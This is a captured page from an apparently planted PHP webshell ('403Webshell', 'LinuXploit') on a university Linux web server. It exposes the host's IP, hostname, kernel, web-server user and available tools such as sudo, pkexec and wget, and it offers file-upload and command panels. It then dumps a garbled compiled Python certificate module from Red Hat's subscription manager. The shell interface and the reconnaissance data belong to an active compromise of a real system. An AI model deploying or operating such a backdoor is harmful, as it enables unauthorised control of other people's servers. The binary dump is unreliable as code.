403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.6/site-packages/rhsm/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.6/site-packages/rhsm/__pycache__/certificate2.cpython-36.pyc
3

a�e�w�@s�ddlmZmZmZddlZddlZddlZddlZddlZddl	Z	ddl
Z
eje�Z
ddlmZmZddlmZddlmZddlmZddlmZmZmZmZmZmZmZddlmZdd	lm Z!d
Z"dZ#dZ$d
Z%dZ&dZ'dZ(dZ)dZ*dZ+Gdd�de,�Z-Gdd�de.�Z/Gdd�de.�Z0Gdd�de�Z1Gdd�de.�Z2Gdd�de2�Z3Gd d!�d!e2�Z4Gd"d#�d#e4�Z5Gd$d%�d%e.�Z6Gd&d'�d'e.�Z7Gd(d)�d)e.�Z8Gd*d+�d+e.�Z9dS),�)�print_function�division�absolute_importN)�datetime�	timedelta)�Optional)�_certificate)�safe_int)�
Extensions�OID�	DateRange�GMT�get_datetime_from_x509�
parse_tags�CertificateException)�PathTree)�ourjsonz1.3.6.1.4.1.2312.9�4z4.1�6�7�8���ZOrgLevelc@s<eZdZdZd	eeeeeed�dd�Zed�dd�ZdS)
�CertificateLoadingErrorz5
    A certificate loading failure from OpenSSL.
    N)�liberr�	reasonerr�path�pemcCs||_||_||_||_dS)a<
        :param liberr: string representing the OpenSSL library where the failure
               occurred
        :param reasonerr: string representing the OpenSSL failure string
        :param path: string representing the file being loaded
        :param pem: string representing the PEM data being loaded
        N)rrrr)�selfrrrr�r �$/usr/lib64/python3.6/certificate2.py�__init__;sz CertificateLoadingError.__init__)�returncCsD|j�d|j��}|jr*|d|j��7}n|jr@|d|j��7}|S)Nz: )rrrr)r�errr r r!�__str__HszCertificateLoadingError.__str__)NN)�__name__�
__module__�__qualname__�__doc__�strrr"r%r r r r!r6s
rc@s�eZdZdZdd�Zd+dd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�ZdS),�_CertFactorya�
    Factory for creating certificate objects.

    Examines the incoming file or PEM text, parses the OID structure,
    from the server, and returns the correct implementation class.
    determines the type of certificate we're dealing with
    (entitlement/product), as well as the version of the certificate

    NOTE: Please use the factory methods that leverage this class in
    certificate.py instead of this class.
    cCs�yt|d�j�}Wn.tk
r@}ztd|��WYdd}~XnXytj|�}Wn>tjk
r�}z t|jd|jd|d��WYdd}~XnX|j	|||�SdS)zP
        Create appropriate certificate object from a PEM file on disk.
        �rzError loading certificate: %sNrr)r)
�open�read�IOErrorrr�load�OpenSSLCertificateLoadingErrorr�args�
_read_x509)rrrr$�cert�excr r r!�create_from_file^s,z_CertFactory.create_from_fileNcCsn|std��ytj|d�}Wn>tjk
rZ}z t|jd|jd|d��WYdd}~XnX|j|||�SdS)zJ
        Create appropriate certificate object from a PEM string.
        zEmpty certificate)rrrN)rrr0r1rr2r3)rrrr4r5r r r!�create_from_pemms,z_CertFactory.create_from_pemc	Cs�yvt|�}tt�}|j|�}d}t|kr6|tjd�}t|�}|jdkrX|j||||�S|jdkrt|j	|||||�SWn\t
k
r�}z
|�WYdd}~Xn8tk
r�}ztj
|�t
t|���WYdd}~XnXdS)Nz1.0zutf-8rr)�_Extensions2r�REDHAT_OID_NAMESPACE�branch�EXT_CERT_VERSION�decode�Version�major�_create_v1_cert�_create_v3_certr�	Exception�log�	exceptionr*)	r�x509rr�
extensionsZ
redhat_oidZcert_version_str�version�er r r!r3zs"



z_CertFactory._read_x509cCsV|j|�}|tkr"|j||||�S|tkr:|j||||�S|tkrR|j||||�SdS)N)�_get_v1_cert_type�
IDENTITY_CERT�_create_identity_cert�ENTITLEMENT_CERT�_create_v1_ent_cert�PRODUCT_CERT�_create_v1_prod_cert)rrFrErDrZ	cert_typer r r!r?�s
z_CertFactory._create_v1_certcCs&|jdd�}|dkrdS|jd�SdS)z+Try to read subjectAltName from certificateZsubjectAltName)�nameN�zutf-8)Z
get_extensionr<)rrD�alt_namer r r!�_read_alt_name�sz_CertFactory._read_alt_namecCs|j�S)N)Z
get_issuer)rrDr r r!�_read_issuer�sz_CertFactory._read_issuercCs|j�S)N)Zget_subject)rrDr r r!�
_read_subject�sz_CertFactory._read_subjectcCsDt||||j�t|j��t|j��|j|�|j|�|j|�d�	}|S)N)	rDrrF�serial�start�endrQ�subject�issuer)�IdentityCertificate�get_serial_numberr�get_not_before�
get_not_afterrRrTrS)rrFrErDrr4r r r!rJ�s

z"_CertFactory._create_identity_certcCsH|j|�}t||||j�t|j��t|j��||j|�|j|�d�	}|S)N)	rDrrFrUrVrW�productsrXrY)�_parse_v1_products�ProductCertificater[rr\r]rTrS)rrFrErDrr^r4r r r!rN�s


z!_CertFactory._create_v1_prod_certc	Csb|j|�}|j|�}|j|�}t||||j�t|j��t|j��|j|�|||||j	|�d�}|S)N)rDrrFrUrVrWrX�order�contentr^rErY)
�_parse_v1_order�_parse_v1_contentr_�EntitlementCertificater[rr\r]rTrS)	rrFrErDrrarbr^r4r r r!rL�s"




z _CertFactory._create_v1_ent_certcCs�g}x�|jd�D]�}|d}|jd�}|d}|j|�}|jd�|jd�|jd�|jd�|jd�|jd	�d
�}x.t|j��D]\}	}
|
dk	r||
jd�||	<q|Wt|d
�|d
<|jt	fd|i|���qW|S)z]
        Returns an ordered list of all the product data in the
        certificate.
        z1.*.1rr�1�2�3r�5r)rOrF�
architectures�
provided_tags�
brand_type�
brand_nameNzutf-8rk�id)
�find�rtrimr:�get�list�itemsr<r�append�Product)rrEr^Zprod_namespace�oid�rootZ
product_idZextZproduct_data�key�valuer r r!r_�s$

z_CertFactory._parse_v1_productscCs�|jt�}|jd�|jd�|jd�|jd�|jd�|jd�|jd�|jd�|jd	�|jd
�|jd�|jd�|jd
�|jd�|jd�|jd�d�}x.t|j��D]\}}|dk	r�|jd�||<q�Wtf|�}|S)Nrfrgrhrrir�9�10Z11Z12Z13Z14Z15Z16Z17Z18)rO�number�sku�subscription�quantity�
virt_limit�socket_limit�contract�
quantity_used�warning_period�account�provides_management�
service_level�service_type�stacking_id�	virt_onlyzutf-8)r:�ORDER_NAMESPACErqrrrsr<�Order)rrEZorder_extensionsZ
order_datarxryrar r r!rc�s,

z_CertFactory._parse_v1_orderc
Cs�g}|jd�}x�|D]�}|djd�}|j|�}|j|�|jd�|jd�|jd�|jd�|jd�|jd	�|jd
�|jd�d�	}x.t|j��D]\}}	|	dk	r�|	jd
�||<q�Wt|d�|d<|jt	f|��qW|S)Nz2.*.*.1rrrfrgrirrrrzr{)	�content_typerO�label�vendor�url�gpg�enabled�metadata_expire�
required_tagszutf-8r�)
rorpr:rqrrrsr<rrt�Content)
rrErbZentsZentrvZcontent_extZcontent_datarxryr r r!rds(


z_CertFactory._parse_v1_contentcCs.t|krtSt|jddd��dkr&tStSdS)Nz1.*.1rTr)�EXT_ORDER_NAMErK�lenrorMrI)rrEr r r!rH.s
z_CertFactory._get_v1_cert_typec
Cs�y$|jd�d}|jd�dj�}Wntk
r<d}YnX|r||jtj|��}|j|�}|j|�}	|j|�}
|j	|�}nd}d}	d}
d}t
|||||j�t|j
��t|j��|j|�||	|
|||j|�d�}|S)Nz -----BEGIN ENTITLEMENT DATA-----rz-----END ENTITLEMENT DATA-----r)rDrrFrErUrVrWrXrarbr^�poolrrY)�split�strip�
IndexError�_decompress_payload�base64Z	b64decode�_parse_v3_order�_parse_v3_content�_parse_v3_products�_parse_v3_poolrer[rr\r]rTrS)
rrFrErDrrZentitlement_data�payloadrarbr^r�r4r r r!r@9s>





z_CertFactory._create_v3_certcCs�|d}|d}d}d}d|kr@|djdd�}|djdd�}t|d|jdd�|jdd�|jd	d�|jd
d�|jdd�|jd	d�|jd
d�|jdd�|jdd�|||jdd�|jdd�|jdd�|jdd�|jdd�|jdd�|jdd�d�S)Nr~raZservice�level�typerOr|r}rZsocketsr�rZwarningrr�Z
managementFr�r�ZramZcores�roles�usage�addons)rOr|r}rr�r�r�r�r�r�r�r�r�r��	ram_limit�
core_limitr�r�r�)rqr�)rr��subrar�r�r r r!r�`s6














z_CertFactory._parse_v3_ordercCs`|d}g}xN|D]F}|jt|d|d|jdd�|jdg�|jdd�|jdd�d	��qW|S)
z]
        Returns an ordered list of all the product data in the
        certificate.
        r^rnrOrFNrjrlrm)rnrOrFrjrlrm)rtrurq)rr�Zproduct_payloadr^�productr r r!r��s



z_CertFactory._parse_v3_productscCs�g}x�|dD]|}xv|dD]j}|jt|d|d|d|jdd�|jdd�|jdd�|jd	d
�|jdd�|jdg�|jd
g�d�
�qWqW|S)Nr^rbr�rOr�r�rZgpg_urlr�Tr�r��arches)
r�rOr�r�r�r�r�r�r�r�)rtr�rq)rr�rbr��cr r r!r��s





z_CertFactory._parse_v3_contentcCs"|jdd�}|rt|dd�SdS)Nr�rn)rn)rq�Pool)rr�r�r r r!r��sz_CertFactory._parse_v3_poolcCsTytj|�jd�}tj|�Stk
rN}ztj|�td��WYdd}~XnXdS)z�
        Certificate payloads arrive in zlib compressed strings
        of JSON.
        This method de-compresses and parses the JSON and returns the
        resulting dict.
        zutf-8z0Error decompressing/parsing certificate payload.N)	�zlibZ
decompressr<�json�loadsrArBrCr)rr�ZdecompressedrGr r r!r��s

z _CertFactory._decompress_payload)N)r&r'r(r)r6r7r3r?rRrSrTrJrNrLr_rcrdrHr@r�r�r�r�r�r r r r!r+Qs*


' r+c@s eZdZdZdd�Zdd�ZdS)r=z/ Small wrapper for version string comparisons. cCsn||_|jd�|_x*tt|j��D]}t|j|�|j|<q"W|jd|_d|_t|j�dkrj|jd|_dS)N�.rr)�version_strr�Zsegments�ranger��intr>�minor)rr��ir r r!r"�szVersion.__init__cCs|jS)N)r�)rr r r!r%�szVersion.__str__N)r&r'r(r)r"r%r r r r!r=�sr=c@seZdZdd�ZdS)r8cCs6|j�}x(t|j��D]\}}t|�}|||<qWdS)zS
        Override parent method for an X509 object from the new C wrapper.
        N)Zget_all_extensionsrrrsr)rrDrErxryrvr r r!�_parse�sz_Extensions2._parseN)r&r'r(r�r r r r!r8�sr8c	@sveZdZdZddd�Zddd�Zddd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�ZdS)�Certificatez- Parent class of all x509 certificate types. Nc

CsZ||_||_||_|dkr"td��||_||_||_t|j|j�|_||_	||_
|	|_dS)NzCertificate has no serial)rDrrFrrUrVrWr�valid_rangerrXrY)
rrDrrFrUrVrWrXrrYr r r!r"�szCertificate.__init__cCs*tj�}|r|}|jt�d�}|jj|�S)N)�tzinfo)r�utcnow�replacer
r�Zhas_date)r�on_date�gmtr r r!�is_valid�s
zCertificate.is_validcCs,tj�}|r|}|jt�d�}|jj�|kS)N)r�)rr�r�r
r�rW)rr�r�r r r!�
is_expireds
zCertificate.is_expiredcCs|j|jkS)N)rW)r�otherr r r!�__lt__	szCertificate.__lt__cCs|j|jkS)N)rW)rr�r r r!�__le__szCertificate.__le__cCs|j|jkS)N)rW)rr�r r r!�__gt__szCertificate.__gt__cCs|j|jkS)N)rW)rr�r r r!�__ge__szCertificate.__ge__cCst|d�o|j|jkS)NrU)�hasattrrU)rr�r r r!�__eq__szCertificate.__eq__cCst|d�p|j|jkS)NrU)r�rU)rr�r r r!�__ne__szCertificate.__ne__cCs|jS)N)rU)rr r r!�__hash__szCertificate.__hash__cCsPt|d�}|jdk	r"|j|j�n|j|jj��|j�tj|d�||_dS)z0
        Write the certificate to disk.
        �wNi�)	r-r�writerDZas_pem�close�os�chmodr)rr�fr r r!r�s

zCertificate.writecCs |jrtj|j�ntd��dS)zC
        Delete the file associated with this certificate.
        z'Certificate has no path, cannot delete.N)rr��unlinkr)rr r r!�delete-szCertificate.delete)	NNNNNNNNN)N)N)r&r'r(r)r"r�r�r�r�r�r�r�r�r�r�r�r r r r!r��s


r�c@seZdZddd�ZdS)rZNcKstj|f|�||_dS)N)r�r"rQ)rrQ�kwargsr r r!r"8szIdentityCertificate.__init__)N)r&r'r(r"r r r r!rZ7srZc@seZdZddd�ZdS)r`NcKs$tj|f|�|dkrg}||_dS)N)r�r"r^)rr^r�r r r!r">szProductCertificate.__init__)N)r&r'r(r"r r r r!r`=sr`c@speZdZddd�Zedd��Zedd��Zedd	��Zdd
d�Zdd
�Z	dd�Z
edd��Zdd�Z
dd�ZdS)reNcKs0tj|f|�||_||_||_||_d|_dS)N)r`r"rarbr�rE�_path_tree_object)rrarbr�rEr�r r r!r"JszEntitlementCertificate.__init__cCs&|jjt�r|jjt�jd�SdSdS)Nzutf-8ZBasic)rErq�EXT_ENT_TYPEr<)rr r r!�entitlement_typeRsz'EntitlementCertificate.entitlement_typecCsH|jjdkrtd|jj��|jsB|jt}|s8td��t|�|_|jS)z�
        :return:    PathTree object built from this cert's extensions
        :rtype:     rhsm.pathtree.PathTree

        :raise: AttributeError if self.version.major < 3
        rz path tree not used for v%d certsz0Certificate has empty entitlement data extension)rFr>�AttributeErrorr�rE�EXT_ENT_PAYLOADr)r�datar r r!�
_path_treeYs	

z!EntitlementCertificate._path_treecCsg}|jj|�|S)N)r�Zbuild_path_list)r�pathsr r r!�provided_pathsmsz%EntitlementCertificate.provided_pathscCsBtj�}|r|}|jt�d�}tt|jj�d�}|jj	�||kS)N)r�)Zdays)
rr�r�r
rr�rar�r�rW)rr�r�Zwarning_timer r r!�is_expiringssz"EntitlementCertificate.is_expiringcCs0tj|�}|jjdkr |j|�S|jj|�SdS)a�
        Checks the given path against the list of entitled paths as encoded in
        extensions. See PathTree for more detailed docs.

        :param path:    path to which access is being requested
        :type  path:    basestring

        :return:    True iff the path matches, else False
        :rtype:     bool

        :raise:    ValueError when self.version.major < 3
        rN)�	posixpath�normpathrFr>�_check_v1_pathr�Z
match_path)rrr r r!�
check_path{s

z!EntitlementCertificate.check_pathcCsf|jd�}d}xRt|jj��D]@\}}|jd�}|jtd��r|jtd��r|j||�rd}PqW|S)z�
        Check the requested path against a v1 certificate

        :param path:    requested path
        :type  path:    basestring
        :return:    True iff the path matches, else False
        :rtype:     bool
        �/Fzutf-8z2.z.1.6T)r�rrrErsr<�matchr�_validate_v1_url)rrZvalidZext_oid�oid_urlr r r!r��s	

z%EntitlementCertificate._check_v1_pathcCs$tjdd|jd��}tj||�dk	S)a�
        Determines if the destination URL matches the OID's URL.

        Swaps out all $ variables (e.g. $basearch, $version) for a reg ex
        wildcard in that location. For example, the following entitlement:
          content/dist/rhel/server/$version/$basearch/os

        Should allow any value for the variables:
          content/dist/rhel/server/.+?/.+?/os

        :param oid_url: path associated with an entitlement OID, as pulled from
                        the cert's extensions.
        :type  oid_url: basestring
        :param dest:    path requested by a client
        :type  dest:    basestring

        :return: True iff the OID permits the destination else False
        :rtype:  bool
        z\$[^/]+(/|$)z[^/]+/r�N)�rer�r�r�)r��destZoid_rer r r!r��sz'EntitlementCertificate._validate_v1_urlcCs tj|�|j�}tj|�dS)zA
        Override parent to also delete certificate key.
        N)r�r��key_pathr�r�)rr�r r r!r��s
zEntitlementCertificate.deletecCsxtjj|j�\}}ydt|jdd��}Wn:tk
rd}ztj|�td|j��WYdd}~XnXtjj	||�}|S)z>
        Returns the full path to the cert key's pem.
        z	%s-key.%sr�rzqEntitlement certificate path "%s" is not in in the expected format so the key file path could not be based on it.N)
r�rr��tuple�rsplit�	TypeErrorrBrCr�join)rZdir_pathZ
cert_filenameZkey_filenamerGr�r r r!r��s
zEntitlementCertificate.key_path)NNNN)N)r&r'r(r"�propertyr�r�r�r�r�r��staticmethodr�r�r�r r r r!reHs

rec@s"eZdZdZddd�Zdd�ZdS)ruz@
    Represents the product information from a certificate.
    NcCs�|dkrtd��|dkr td��||_||_||_||_t|jtj�rRt|j�|_|jdkrbg|_||_	|j	dkrxg|_	||_
||_dS)NzProduct missing namezProduct missing ID)rrnrOrFrj�
isinstance�sixZstring_typesrrkrlrm)rrnrOrFrjrkrlrmr r r!r"�s"

zProduct.__init__cCs|j|jkS)N)rn)rr�r r r!r��szProduct.__eq__)NNNNNNN)r&r'r(r)r"r�r r r r!ru�s
ruc@s"eZdZdZddd�Zdd�ZdS)r�zc
    Represents the order information for the subscription an entitlement
    originated from.
    NcCs�||_||_||_||_t|d�|_t|	d�|_||_||_t|d�|_	t|
d�|_
||_||_|pfd|_
|
|_||_||_||_||_|p�d|_t|d�|_t|d�|_dS)NrrF)rOr|r}r~r	rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�)rrOr|r}r~rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r r r!r"s*

zOrder.__init__cCsd|j|j|jfS)Nz!<Order: name=%s number=%s sku=%s>)rOr|r})rr r r!r%/sz
Order.__str__)NNNNNNNNNNNNNNNNNNNNN)r&r'r(r)r"r%r r r r!r��s
%r�c
@s.eZdZd
dd�Zdd�Zdd�Zdd	�ZdS)r�NcCs�|dks|dkrtd��||_||_||_||_||_||_|sHtd��|d
kr\td|��d|_|dksz|dksz|d	kr�d	|_||_|	p�g|_	|
p�g|_
dS)NzContent missing name/labelz!Content does not have a type set.rr�0rfz#Invalid content enabled setting: %sFT)Nrrr�rf)rr�rOr�r�r�r�r�r�r�r�)rr�rOr�r�r�r�r�r�r�r�r r r!r"6s&
zContent.__init__cCst||j�o|j|jkS)N)r��	__class__r�)rr�r r r!r�UszContent.__eq__cCsd|j|j|j|jfS)Nz6<Content: content_type=%s name=%s label=%s enabled=%s>)r�rOr�r�)rr r r!r%XszContent.__str__cCs
t|j�S)N)�hashr�)rr r r!r�\szContent.__hash__)
NNNNNNNNNN)r&r'r(r"r�r%r�r r r r!r�4s

r�c@s"eZdZdZddd�Zdd�ZdS)r�z=
    Represents the pool an entitlement originates from.
    NcCs|dkrtd��||_dS)NzPool is missing ID)rrn)rrnr r r!r"dsz
Pool.__init__cCs|j|jkS)N)rn)rr�r r r!r�iszPool.__eq__)N)r&r'r(r)r"r�r r r r!r�`s
r�):Z
__future__rrrr�Zloggingr�r�r�r�r�Z	getLoggerr&rBrrZtypingrZrhsmrZrhsm.connectionr	Zrhsm.certificater
rrr
rrrZ
rhsm.pathtreerrr�r9r�r�r;r�r�rMrKrIZCONTENT_ACCESS_CERT_TYPErAr�objectr+r=r8r�rZr`rerur�r�r�r r r r!�<module>sP
$o[#6,

Youez - 2016 - github.com/yon3zu
LinuXploit